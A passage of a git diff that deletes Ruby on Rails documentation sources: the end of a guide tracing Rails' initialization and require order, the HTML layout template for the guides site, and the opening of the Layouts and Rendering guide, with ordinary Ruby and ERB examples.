-This file defines the +Rails::Initializable+ module which contains the +Initializer+ class, the basis for all initializers in Rails. This module also contains a +ClassMethods+ class which will be included into the +Rails::Railtie+ class when these requires have finished.
-
-Now that +rails/initializable.rb+ has finished being required from +rails/railtie.rb+, the next require is for +rails/configuration+.
-
-h4. +railties/lib/rails/configuration.rb+
-
-This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":configuring.html#configuring-generators.
-
-The first file required in this file is +activesupport/deprecation+.
-
-h4. +activesupport/lib/active_support/deprecation.rb+
-
-This file, and the files it requires, define the basic deprecation warning features found in Rails. This file is responsible for setting defaults in the +ActiveSupport::Deprecation+ module for the +deprecation_horizon+, +silenced+ and +debug+ values. The files that are required before this happens are:
-
-* +active_support/deprecation/behaviors+
-* +active_support/deprecation/reporting+
-* +active_support/deprecation/method_wrappers+
-* +active_support/deprecation/proxy_wrappers+
-
-h4. +activesupport/lib/active_support/deprecation/behaviors.rb+
-
-This file defines the behavior of the +ActiveSupport::Deprecation+ module, setting up the +DEFAULT_BEHAVIORS+ hash constant which contains the three defaults to outputting deprecation warnings: +:stderr+, +:log+ and +:notify+. This file begins by requiring +activesupport/notifications+ and +activesupport/core_ext/array/wrap+.
-
-h4. +activesupport/lib/active_support/notifications.rb+
-
-This file defines the +ActiveSupport::Notifications+ module. Notifications provides an instrumentation API for Ruby, shipping with a queue implementation that consumes and publish events to log subscribers in a thread.
-
-The "API documentation":http://api.rubyonrails.org/classes/ActiveSupport/Notifications.html for +ActiveSupport::Notifications+ explains the usage of this module, including the methods that it defines.
-
-The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation.
-
-h4. +activesupport/core_ext/array/wrap+
-
-As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":active_support_core_extensions.html#wrapping
-
-h4. +activesupport/lib/active_support/deprecation/reporting.rb+
-
-This file is responsible for defining the +warn+ and +silence+ methods for +ActiveSupport::Deprecation+ as well as additional private methods for this module.
-
-h4. +activesupport/lib/active_support/deprecation/method_wrappers.rb+
-
-This file defines a +deprecate_methods+ which is primarily used by the +module/deprecation+ core extension required by the first line of this file. Other core extensions required by this file are the +module/aliasing+ and +array/extract_options+ files.
-
-h4. +activesupport/lib/active_support/deprecation/proxy_wrappers.rb+
-
-+proxy_wrappers.rb+ defines deprecation wrappers for methods, instance variables and constants. Previously, this was used for the +RAILS_ENV+ and +RAILS_ROOT+ constants for 3.0 but since then these constants have been removed. The deprecation message that would be raised from these would be something like:
-
-<plain>
-  BadConstant is deprecated! Use GoodConstant instead.
-</plain>
-
-h4. +active_support/ordered_options+
-
-This file is the next file required from +rails/configuration.rb+ is the file that defines +ActiveSupport::OrderedOptions+ which is used for configuration options such as +config.active_support+ and the like.
-
-The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":active_support_core_extensions.html#deep_dup
-
-The file that is required next from is +rails/paths+
-
-h4. +railties/lib/rails/paths.rb+
-
-This file defines the +Rails::Paths+ module which allows paths to be configured for a Rails application or engine. Later on in this guide when we cover Rails configuration during the initialization process we'll see this used to set up some default paths for Rails and some of them will be configured to be eager loaded.
-
-h4. +railties/lib/rails/rack.rb+
-
-The final file to be loaded by +railties/lib/rails/configuration.rb+ is +rails/rack+ which defines some simple autoloads:
-
-<ruby>
-module Rails
-  module Rack
-    autoload :Debugger,  "rails/rack/debugger"
-    autoload :Logger,    "rails/rack/logger"
-    autoload :LogTailer, "rails/rack/log_tailer"
-    autoload :Static,    "rails/rack/static"
-  end
-end
-</ruby>
-
-Once this file is finished loading, then the +Rails::Configuration+ class is initialized. This completes the loading of +railties/lib/rails/configuration.rb+ and now we jump back to the loading of +railties/lib/rails/railtie.rb+, where the next file loaded is +active_support/inflector+.
-
-h4. +activesupport/lib/active_support/inflector.rb+
-
-+active_support/inflector.rb+ requires a series of file which are responsible for setting up the basics for knowing how to pluralize and singularize words. These files are:
-
-<ruby>
-require 'active_support/inflector/inflections'
-require 'active_support/inflector/transliterate'
-require 'active_support/inflector/methods'
-
-require 'active_support/inflections'
-require 'active_support/core_ext/string/inflections'
-</ruby>
-
-The +active_support/inflector/methods+ file has already been required by +active_support/autoload+ and so won't be loaded again here. The +activesupport/lib/active_support/inflector/inflections.rb+ is required by +active_support/inflector/methods+.
-
-h4. +active_support/inflections+
-
-This file references the +ActiveSupport::Inflector+ constant which isn't loaded by this point. But there were autoloads set up in +activesupport/lib/active_support.rb+ which will load the file which loads this constant and so then it will be defined. Then this file defines pluralization and singularization rules for words in Rails. This is how Rails knows how to pluralize "tomato" to "tomatoes".
-
-h4. +activesupport/lib/active_support/inflector/transliterate.rb+
-
-In this file is where the "+transliterate+":http://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-transliterate and +parameterize+:http://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-parameterize methods are defined. The documentation for both of these methods is very much worth reading.
-
-h4. Back to +railties/lib/rails/railtie.rb+
-
-Once the inflector files have been loaded, the +Rails::Railtie+ class is defined. This class includes a module called +Initializable+, which is actually +Rails::Initializable+. This module includes the +initializer+ method which is used later on for setting up initializers, amongst other methods.
-
-h4. +railties/lib/rails/initializable.rb+
-
-When the module from this file (+Rails::Initializable+) is included, it extends the class it's included into with the +ClassMethods+ module inside of it. This module defines the +initializer+ method which is used to define initializers throughout all of the railties. This file completes the loading of +railties/lib/rails/railtie.rb+. Now we go back to +rails/engine.rb+.
-
-h4. +railties/lib/rails/engine.rb+
-
-The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation.
-
-The next two files after this are Ruby standard library files: +pathname+ and +rbconfig+. The file after these is +rails/engine/railties+.
-
-h4. +railties/lib/rails/engine/railties.rb+
-
-This file defines the +Rails::Engine::Railties+ class which provides the +engines+ and +railties+ methods which are used later on for defining rake tasks and other functionality for engines and railties.
-
-h4. Back to +railties/lib/rails/engine.rb+
-
-Once +rails/engine/railties.rb+ has finished loading the +Rails::Engine+ class gets its basic functionality defined, such as the +inherited+ method which will be called when this class is inherited from.
-
-Once this file has finished loading we jump back to +railties/lib/rails/plugin.rb+
-
-h4. Back to +railties/lib/rails/plugin.rb+
-
-The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide.
-
-Once that file has finished loading, the +Rails::Plugin+ class is defined.
-
-h4. Back to +railties/lib/rails/application.rb+
-
-Jumping back to +rails/application.rb+ now. This file defines the +Rails::Application+ class where the application's class inherits from. This class (and its superclasses) define the basic behaviour on the application's constant such as the +config+ method used for configuring the application.
-
-Once this file's done then we go back to the +railties/lib/rails.rb+ file, which next requires +rails/version+.
-
-h4. +railties/lib/rails/version.rb+
-
-Much like +active_support/version+, this file defines the +VERSION+ constant which has a +STRING+ constant on it which returns the current version of Rails.
-
-Once this file has finished loading we go back to +railties/lib/rails.rb+ which then requires +active_support/railtie.rb+.
-
-h4. +activesupport/lib/active_support/railtie.rb+
-
-This file requires +active_support+ and +rails+ which have already been required so these two lines are effectively ignored. The third require in this file is to +active_support/i18n_railtie.rb+.
-
-h4. +activesupport/lib/active_support/i18n_railtie.rb+
-
-This file is the first file that sets up configuration with these lines inside the class:
-
-<ruby>
-class Railtie < Rails::Railtie
-  config.i18n = ActiveSupport::OrderedOptions.new
-  config.i18n.railties_load_path = []
-  config.i18n.load_path = []
-  config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
-</ruby>
-
-By inheriting from +Rails::Railtie+ the +Rails::Railtie#inherited+ method is called:
-
-<ruby>
-def inherited(base)
-  unless base.abstract_railtie?
-    base.send(:include, Railtie::Configurable)
-    subclasses << base
-  end
-end
-</ruby>
-
-This first checks if the Railtie that's inheriting it is a component of Rails itself:
-
-<ruby>
-ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Plugin Rails::Engine Rails::Application)
-
-...
-
-def abstract_railtie?
-  ABSTRACT_RAILTIES.include?(name)
-end
-</ruby>
-
-Because +I18n::Railtie+ isn't in this list, +abstract_railtie?+ returns +false+. Therefore the +Railtie::Configurable+ module is included into this class and the +subclasses+ method is called and +I18n::Railtie+ is added to this new array.
-
-<ruby>
-def subclasses
-  @subclasses ||= []
-end
-</ruby>
-
-The +config+ method used at the top of +I18n::Railtie+ is defined on +Rails::Railtie+ and is defined like this:
-
-<ruby>
-def config
-  @config ||= Railtie::Configuration.new
-end
-</ruby>
-
-At this point, that +Railtie::Configuration+ constant is automatically loaded which causes the +rails/railties/configuration+ file to be loaded. The line for this is this particular line in +railties/lib/rails/railtie.rb+:
-
-<ruby>
-autoload :Configuration, "rails/railtie/configuration"
-</ruby>
-
-h4. +railties/lib/rails/railtie/configuration.rb+
-
-This file begins with a require out to +rails/configuration+ which has already been required earlier in the process and so isn't required again.
-
-This file defines the +Rails::Railtie::Configuration+ class which is responsible for providing a way to easily configure railties and it's the +initialize+ method here which is called by the +config+ method back in the +i18n_railtie.rb+ file. The methods on this object don't exist, and so are rescued by the +method_missing+ defined further down in +configuration.rb+:
-
-<ruby>
-def method_missing(name, *args, &blk)
-  if name.to_s =~ /=$/
-    @@options[$`.to_sym] = args.first
-  elsif @@options.key?(name)
-    @@options[name]
-  else
-    super
-  end
-end
-</ruby>
-
-So therefore when an option is referred to it simply stores the value as the key if it's used in a setter context, or retrieves it if used in a getter context. Nothing fancy going on there.
-
-h4. Back to +activesupport/lib/active_support/i18n_railtie.rb+
-
-After the configuration method the +reloader+ method is defined, and then the first of of Railties' initializers is defined: +i18n.callbacks+.
-
-<ruby>
-initializer "i18n.callbacks" do
-  ActionDispatch::Reloader.to_prepare do
-    I18n::Railtie.reloader.execute_if_updated
-  end
-end
-</ruby>
-
-The +initializer+ method (from the +Rails::Initializable+ module) here doesn't run the block, but rather stores it to be run later on:
-
-<ruby>
-def initializer(name, opts = {}, &blk)
-  raise ArgumentError, "A block must be passed when defining an initializer" unless blk
-  opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] }
-  initializers << Initializer.new(name, nil, opts, &blk)
-end
-</ruby>
-
-An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":configuring.html#rails-railtie-initializer.
-
-The +Initializer+ class here is defined within the +Rails::Initializable+ module and its +initialize+ method is defined to just set up a couple of variables:
-
-<ruby>
-def initialize(name, context, options, &block)
-  @name, @context, @options, @block = name, context, options, block
-end
-</ruby>
-
-Once this +initialize+ method is finished, the object is added to the object the +initializers+ method returns:
-
-<ruby>
-def initializers
-  @initializers ||= self.class.initializers_for(self)
-end
-</ruby>
-
-If +@initializers+ isn't set (which it won't be at this point), the +intializers_for+ method will be called for this class.
-
-<ruby>
-def initializers_for(binding)
-  Collection.new(initializers_chain.map { |i| i.bind(binding) })
-end
-</ruby>
-
-The +Collection+ class in +railties/lib/rails/initializable.rb+ inherits from +Array+ and includes the +TSort+ module which is used to sort out the order of the initializers based on the order they are placed in.
-
-The +initializers_chain+ method referenced in the +initializers_for+ method is defined like this:
-
-<ruby>
-def initializers_chain
-  initializers = Collection.new
- ancestors.reverse_each do | klass |
-    next unless klass.respond_to?(:initializers)
-    initializers = initializers + klass.initializers
-  end
-  initializers
-end
-</ruby>
-
-This method collects the initializers from the ancestors of this class and adds them to a new +Collection+ object using the <tt>+</tt> method which is defined like this for the <tt>Collection</tt> class:
-
-<ruby>
-def +(other)
-  Collection.new(to_a + other.to_a)
-end
-</ruby>
-
-So this <tt>+</tt> method is overridden to return a new collection comprising of the existing collection as an array and then using the <tt>Array#+</tt> method combines these two collections, returning a "super" +Collection+ object. In this case, the only initializer that's going to be in this new +Collection+ object is the +i18n.callbacks+ initializer.
-
-The next method to be called after this +initializer+ method is the +after_initialize+ method on the +config+ object, which is defined like this:
-
-<ruby>
-def after_initialize(&block)
-  ActiveSupport.on_load(:after_initialize, :yield => true, &block)
-end
-</ruby>
-
-The +on_load+ method here is provided by the +active_support/lazy_load_hooks+ file which was required earlier and is defined like this:
-
-<ruby>
-def self.on_load(name, options = {}, &block)
-  if base = @loaded[name]
-    execute_hook(base, options, block)
-  else
-    @load_hooks[name] << [block, options]
-  end
-end
-</ruby>
-
-The +@loaded+ variable here is a hash containing elements representing the different components of Rails that have been loaded at this stage. Currently, this hash is empty. So the +else+ is executed here, using the +@load_hooks+ variable defined in +active_support/lazy_load_hooks+:
-
-<ruby>
-@load_hooks = Hash.new {|h,k| h[k] = [] }
-</ruby>
-
-This defines a new hash which has keys that default to empty arrays. This saves Rails from having to do something like this instead:
-
-<ruby>
-@load_hooks[name] = []
-@load_hooks[name] << [block, options]
-</ruby>
-
-The value added to this array here consists of the block and options passed to +after_initialize+.
-
-We'll see these +@load_hooks+ used later on in the initialization process.
-
-This rest of +i18n_railtie.rb+ defines the protected class methods +include_fallback_modules+, +init_fallbacks+ and +validate_fallbacks+.
-
-h4. Back to +activesupport/lib/active_support/railtie.rb+
-
-This file defines the +ActiveSupport::Railtie+ constant which like the +I18n::Railtie+ constant just defined, inherits from +Rails::Railtie+ meaning the +inherited+ method would be called again here, including +Rails::Configurable+ into this class. This class makes use of +Rails::Railtie+'s +config+ method again, setting up the configuration options for Active Support.
-
-Then this Railtie sets up three more initializers:
-
-* +active_support.initialize_whiny_nils+
-* +active_support.deprecation_behavior+
-* +active_support.initialize_time_zone+
-
-We will cover what each of these initializers do when they run.
-
-Once the +active_support/railtie+ file has finished loading the next file required from +railties/lib/rails.rb+ is the +action_dispatch/railtie+.
-
-h4. +activesupport/lib/action_dispatch/railtie.rb+
-
-This file defines the +ActionDispatch::Railtie+ class, but not before requiring +action_dispatch+.
-
-h4. +activesupport/lib/action_dispatch.rb+
-
-This file attempts to locate the +active_support+ and +active_model+ libraries by looking a couple of directories back from the current file and then adds the +active_support+ and +active_model+ +lib+ directories to the load path, but only if they aren't already, which they are.
-
-<ruby>
-activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
-
-activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__)
-$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path)
-</ruby>
-
-In effect, these lines only define the +activesupport_path+ and +activemodel_path+ variables and nothing more.
-
-The next two requires in this file are already done, so they are not run:
-
-<ruby>
-require 'active_support'
-require 'active_support/dependencies/autoload'
-</ruby>
-
-The following require is to +action_pack+ (+activesupport/lib/action_pack.rb+) which has a 22-line copyright notice at the top of it and ends in a simple require to +action_pack/version+. This file, like other +version.rb+ files before it, defines the +ActionPack::VERSION+ constant:
-
-<ruby>
-module ActionPack
-  module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 1
-    TINY  = 0
-    PRE   = "beta"
-
-    STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
-  end
-end
-</ruby>
-
-Once +action_pack+ is finished, then +active_model+ is required.
-
-h4. +activemodel/lib/active_model.rb+
-
-This file makes a require to +active_model/version+ which defines the version for Active Model:
-
-<ruby>
-module ActiveModel
-  module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 1
-    TINY  = 0
-    PRE   = "beta"
-
-    STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
-  end
-end
-</ruby>
-
-Once the +version.rb+ file is loaded, the +ActiveModel+ module has its autoloaded constants defined as well as a sub-module called +ActiveModel::Serializers+ which has autoloads of its own. When the +ActiveModel+ module is closed the +active_support/i18n+ file is required.
-
-h4. +activesupport/lib/active_support/i18n.rb+
-
-This is where the +i18n+ gem is required and first configured:
-
-<ruby>
-begin
-  require 'i18n'
-  require 'active_support/lazy_load_hooks'
-rescue LoadError => e
-  $stderr.puts "You don't have i18n installed in your application. Please add it to your Gemfile and run bundle install"
-  raise e
-end
-
-I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
-</ruby>
-
-In effect, the +I18n+ module first defined by +i18n_railtie+ is extended by the +i18n+ gem, rather than the other way around. This has no ill effect. They both work on the same way.
-
-This is another spot where +active_support/lazy_load_hooks+ is required, but it has already been required so it's not loaded again.
-
-If +i18n+ cannot be loaded, the user is presented with an error which says that it cannot be loaded and recommends that it's added to the +Gemfile+. However, in a normal Rails application this gem would be loaded.
-
-Once it has finished loading, the +I18n.load_path+ method is used to add the +activesupport/lib/active_support/locale/en.yml+ file to I18n's load path. When the translations are loaded in the initialization process, this is one of the files where they will be sourced from.
-
-The loading of this file finishes the loading of +active_model+ and so we go back to +action_dispatch+.
-
-h4. Back to +activesupport/lib/action_dispatch.rb+
-
-The remainder of this file requires the +rack+ file from the Rack gem which defines the +Rack+ module. After +rack+, there's autoloads defined for the +Rack+, +ActionDispatch+, +ActionDispatch::Http+, +ActionDispatch::Session+. A new method called +autoload_under+ is used here, and this simply prefixes the files where the modules are autoloaded from with the path specified. For example here:
-
-<ruby>
-autoload_under 'testing' do
-  autoload :Assertions
-...
-</ruby>
-
-The +Assertions+ module is in the +action_dispatch/testing+ folder rather than simply +action_dispatch+.
-
-Finally, this file defines a top-level autoload, the +Mime+ constant.
-
-h4. Back to +activesupport/lib/action_dispatch/railtie.rb+
-
-After +action_dispatch+ is required in this file, the +ActionDispatch::Railtie+ class is defined and is yet another class that inherits from +Rails::Railtie+. This class defines some initial configuration option defaults for +config.action_dispatch+ before setting up a single initializer called +action_dispatch.configure+.
-
-With +action_dispatch/railtie+ now complete, we go back to +railties/lib/rails.rb+.
-
-h4. Back to +railties/lib/rails.rb+
-
-With the Active Support and Action Dispatch railties now both loaded, the rest of this file deals with setting up UTF-8 to be the default encoding for Rails and then finally setting up the +Rails+ module. This module defines useful methods such as +Rails.logger+, +Rails.application+, +Rails.env+, and +Rails.root+.
-
-h4. Back to +railties/lib/rails/all.rb+
-
-Now that +rails.rb+ is required, the remaining railties are loaded next, beginning with +active_record/railtie+.
-
-h4. +activerecord/lib/active_record/railtie.rb+
-
-Before this file gets into the swing of defining the +ActiveRecord::Railtie+ class, there are a couple of files that are required first. The first one of these is +active_record+.
-
-h4. +activerecord/lib/active_record.rb+
-
-This file begins by detecting if the +lib+ directories of +active_support+ and +active_model+ are not in the load path and if they aren't then adds them. As we saw back in +action_dispatch.rb+, these directories are already there.
-
-The first three requires have already been done by other files and so aren't loaded here, but the 4th require, the one to +arel+ will require the file provided by the Arel gem, which defines the +Arel+ module.
-
-<ruby>
-require 'active_support'
-require 'active_support/i18n'
-require 'active_model'
-require 'arel'
-</ruby>
-
-The 5th require in this file is one to +active_record/version+ which defines the +ActiveRecord::VERSION+ constant:
-
-<ruby>
-module ActiveRecord
-  module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 1
-    TINY  = 0
-    PRE   = "beta"
-
-    STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
-  end
-end
-</ruby>
-
-Once these requires are finished, the base for the +ActiveRecord+ module is defined along with its autoloads.
-
-Near the end of the file, we see this line:
-
-<ruby>
-ActiveSupport.on_load(:active_record) do
-  Arel::Table.engine = self
-end
-</ruby>
-
-This will set the engine for +Arel::Table+ to be +ActiveRecord::Base+.
-
-The file then finishes with this line:
-
-<ruby>
-I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'
-</ruby>
-
-This will add the translations from +activerecord/lib/active_record/locale/en.yml+ to the load path for +I18n+, with this file being parsed when all the translations are loaded.
-
-h4. Back to +activerecord/lib/active_record/railtie.rb+
-
-The next two <tt>require</tt>s in this file aren't run because their files are already required, with +rails+ being required by +rails/all+ and +active_model/railtie+ being required from +action_dispatch+.
-
-<ruby>
-require "rails"
-require "active_model/railtie"
-</ruby>
-
-The next +require+ in this file is to +action_controller/railtie+.
-
-h4. +actionpack/lib/action_controller/railtie.rb+
-
-This file begins with a couple more requires to files that have already been loaded:
-
-<ruby>
-require "rails"
-require "action_controller"
-require "action_dispatch/railtie"
-</ruby>
-
-However the require after these is to a file that hasn't yet been loaded, +action_view/railtie+, which begins by requiring +action_view+.
-
-h4. +actionpack/lib/action_view.rb+
-
-+action_view.rb+
diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb
deleted file mode 100644
index 4c979888b7..0000000000
--- a/railties/guides/source/layout.html.erb
+++ /dev/null
@@ -1,161 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-
-<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
-
-<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
-<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
-
-<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
-<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
-
-<link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
-</head>
-<body class="guide">
-  <% if @edge %>
-  <div>
-    <img src="images/edge_badge.png" alt="edge-badge" id="edge-badge" />
-  </div>
-  <% end %>
-  <div id="topNav">
-    <div class="wrapper">
-      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
-      <a href="http://rubyonrails.org/">Overview</a> |
-      <a href="http://rubyonrails.org/download">Download</a> |
-      <a href="http://rubyonrails.org/deploy">Deploy</a> |
-      <a href="https://github.com/rails/rails">Code</a> |
-      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
-      <a href="http://rubyonrails.org/documentation">Documentation</a> |
-      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
-      <a href="http://rubyonrails.org/community">Community</a> |
-      <a href="http://weblog.rubyonrails.org/">Blog</a>
-    </div>
-  </div>
-  <div id="header">
-    <div class="wrapper clearfix">
-      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
-      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
-      <ul class="nav">
-        <li><a href="index.html">Home</a></li>
-        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
-          <div id="guides" class="clearfix" style="display: none;">
-            <hr />
-            <dl class="L">
-              <dt>Start Here</dt>
-              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
-              <dt>Models</dt>
-              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
-              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
-              <dd><a href="association_basics.html">Active Record Associations</a></dd>
-              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
-              <dt>Views</dt>
-              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
-              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
-              <dt>Controllers</dt>
-              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
-              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
-            </dl>
-            <dl class="R">
-              <dt>Digging Deeper</dt>
-              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
-              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
-              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
-              <dd><a href="testing.html">Testing Rails Applications</a></dd>
-              <dd><a href="security.html">Securing Rails Applications</a></dd>
-              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
-              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
-              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
-              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
-              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
-              <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd>
-
-              <dt>Extending Rails</dt>
-              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
-              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
-              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
-
-              <dt>Contributing to Ruby on Rails</dt>
-              <dd><a href="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</a></dd>
-              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
-              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
-
-              <dt>Release Notes</dt>
-              <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd>
-              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
-              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
-              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
-            </dl>
-          </div>
-        </li>
-        <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li>
-        <li><a href="credits.html">Credits</a></li>
-      </ul>
-    </div>
-  </div>
-  <hr class="hide" />
-
-  <div id="feature">
-    <div class="wrapper">
-      <%= yield :header_section %>
-
-      <%= yield :index_section %>
-    </div>
-  </div>
-
-  <div id="container">
-    <div class="wrapper">
-      <div id="mainCol">
-        <%= yield.html_safe %>
-
-        <h3>Feedback</h3>
-        <p>
-          You're encouraged to help improve the quality of this guide.
-        </p>
-        <p>
-          If you see any typos or factual errors you are confident to
-          patch, please clone <%= link_to 'docrails', 'https://github.com/lifo/docrails' %>
-          and push the change yourself. That branch of Rails has public write access.
-          Commits are still reviewed, but that happens after you've submitted your
-          contribution. <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> is
-          cross-merged with master periodically.
-        </p>
-        <p>
-          You may also find incomplete content, or stuff that is not up to date.
-          Please do add any missing documentation for master. Check the
-          <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
-          for style and conventions.
-        </p>
-        <p>
-          If for whatever reason you spot something to fix but cannot patch it yourself, please
-          <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
-        </p>
-        <p>And last but not least, any kind of discussion regarding Ruby on Rails
-          documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>.
-        </p>
-      </div>
-    </div>
-  </div>
-
-  <hr class="hide" />
-  <div id="footer">
-    <div class="wrapper">
-      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
-      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
-    </div>
-  </div>
-
-  <script type="text/javascript" src="javascripts/guides.js"></script>
-  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
-  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
-  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
-  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
-  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
-  <script type="text/javascript">
-    SyntaxHighlighter.all()
-  </script>
-</body>
-</html>
diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile
deleted file mode 100644
index df7b9b364c..0000000000
--- a/railties/guides/source/layouts_and_rendering.textile
+++ /dev/null
@@ -1,1196 +0,0 @@
-h2. Layouts and Rendering in Rails
-
-This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
-
-* Use the various rendering methods built into Rails
-* Create layouts with multiple content sections
-* Use partials to DRY up your views
-* Use nested layouts (sub-templates)
-
-endprologue.
-
-h3. Overview: How the Pieces Fit Together
-
-This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
-
-In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
-
-h3. Creating Responses
-
-From the controller's point of view, there are three ways to create an HTTP response:
-
-* Call +render+ to create a full response to send back to the browser
-* Call +redirect_to+ to send an HTTP redirect status code to the browser
-* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser
-
-I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.
-
-h4. Rendering by Default: Convention Over Configuration in Action
-
-You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your +BooksController+ class:
-
-<ruby>
-class BooksController < ApplicationController
-end
-</ruby>
-
-And the following in your routes file:
-
-<ruby>
-resources :books
-</ruby>
-
-And you have a view file +app/views/books/index.html.erb+:
-
-<ruby>
-<h1>Books are coming soon!</h1>
-</ruby>
-
-Rails will automatically render +app/views/books/index.html.erb+ when you navigate to +/books+ and you will see "Books are coming soon!" on your screen.
-
-However a coming soon screen is only minimally useful, so you will soon create your +Book+ model and add the index action to +BooksController+:
-
-<ruby>
-class BooksController < ApplicationController
-  def index
-    @books = Book.all
-  end
-end
-</ruby>
-
